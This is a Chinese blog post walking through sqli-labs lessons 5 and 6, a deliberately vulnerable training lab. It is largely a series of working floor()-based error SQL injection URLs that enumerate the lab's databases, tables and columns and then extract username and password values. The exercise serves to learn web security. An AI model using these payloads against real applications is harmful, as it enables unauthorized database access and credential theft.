前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqli-labs练习(第五、六关)

sqli-labs练习(第五、六关)

作者头像
宸寰客
发布2020-07-21 10:12:43
8980
发布2020-07-21 10:12:43
举报
文章被收录于专栏:yuancao博客yuancao博客

第五关

这一关,当输入正确的id时,会输出 You are in……,而输入错误的则什么都没有,只有个welcome。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

当使用"闭合时,没问题

在这里插入图片描述
在这里插入图片描述

当使用'时,提示SQL语法中有错误

在这里插入图片描述
在这里插入图片描述

有sql语法错误,于是想到了报错注入(floor报错、updatexml报错、ExtractValue报错) 这里用到了floor()报错:

http://172.16.11.222/sqli-labs/Less-5/?id=1’ and (select 1 from (select count(),concat((payload),floor (rand(0)2))x from information_schema.tables group by x)a) --+

其中payload就是你要插入的SQL语句

count(*):函数返回给定选择中被选的函数 concat():连接字符串,比如 concat(‘a’,’b’) 就是ab floor():向下取整 rand():随机数函数 rand(0):伪随机数,生成的随机数有规律 floor(rand(0)*2) :生成的随机数存在规律0110110011101 group_concat()函数的作用:将返回信息拼接成一行显示

Select concat((select database())); 执行的时候,先从子查询进行。因此先执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。

floor报错注入满足的条件是数据库中要查询的数据至少3条以上

查询库名

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

提示说输出信息超过一行,说明这里数据库名组成的字符串长度超过了64位(group_concat()函数最大长度为64位),要用limit 来一个个输出 1、limit 0,1 http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

查出了名为information_schema的数据库

2、limit 1,1 http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 1,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

查出了名为challenges的数据库

3、limit 2,1 http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 2,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

查出来名为mysql的数据库

4、limit 3,1 http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 3,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

查出来名为performance_schema的数据库

5、limit 4,1 http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 4,1),floor (rand()*2)) as x from information_schema.tables group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

查出来名为security的数据库 然后是limit 5,1 ,是名为test的数据库

直到limit 6,1,不报错.说明只有6条数据库

在这里插入图片描述
在这里插入图片描述

但是

在网上看到下面这条命令,能一步到位找到名为security的数据库

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

在这里插入图片描述
在这里插入图片描述

对这个还不是很理解,所以不知道为啥可以…………

查询表名

这里利用security库,在limit 3,1里找到了users

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat(((select concat(table_name) from information_schema.tables where table_schema='security' limit 3,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

在这里插入图片描述
在这里插入图片描述
查询字段

下面查询users表里的字段 limit 0,1 是id http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

limit 1,1 是username

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

在这里插入图片描述
在这里插入图片描述

limit 2,1 是password

http://172.16.11.222/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 2,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) --+

在这里插入图片描述
在这里插入图片描述
查询username、password字段的值

同样 limit 0,1 http://172.16.11.222/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)--+

在这里插入图片描述
在这里插入图片描述

limit 1,1 http://172.16.11.222/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)--+

在这里插入图片描述
在这里插入图片描述

………………………… ………………………… limit n,1

第六关

与第五关同样操作,不过单引号换成了双引号

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020-07-17 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 第五关
    • 查询库名
      • 但是
        • 查询表名
        • 查询字段
        • 查询username、password字段的值
    • 第六关
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档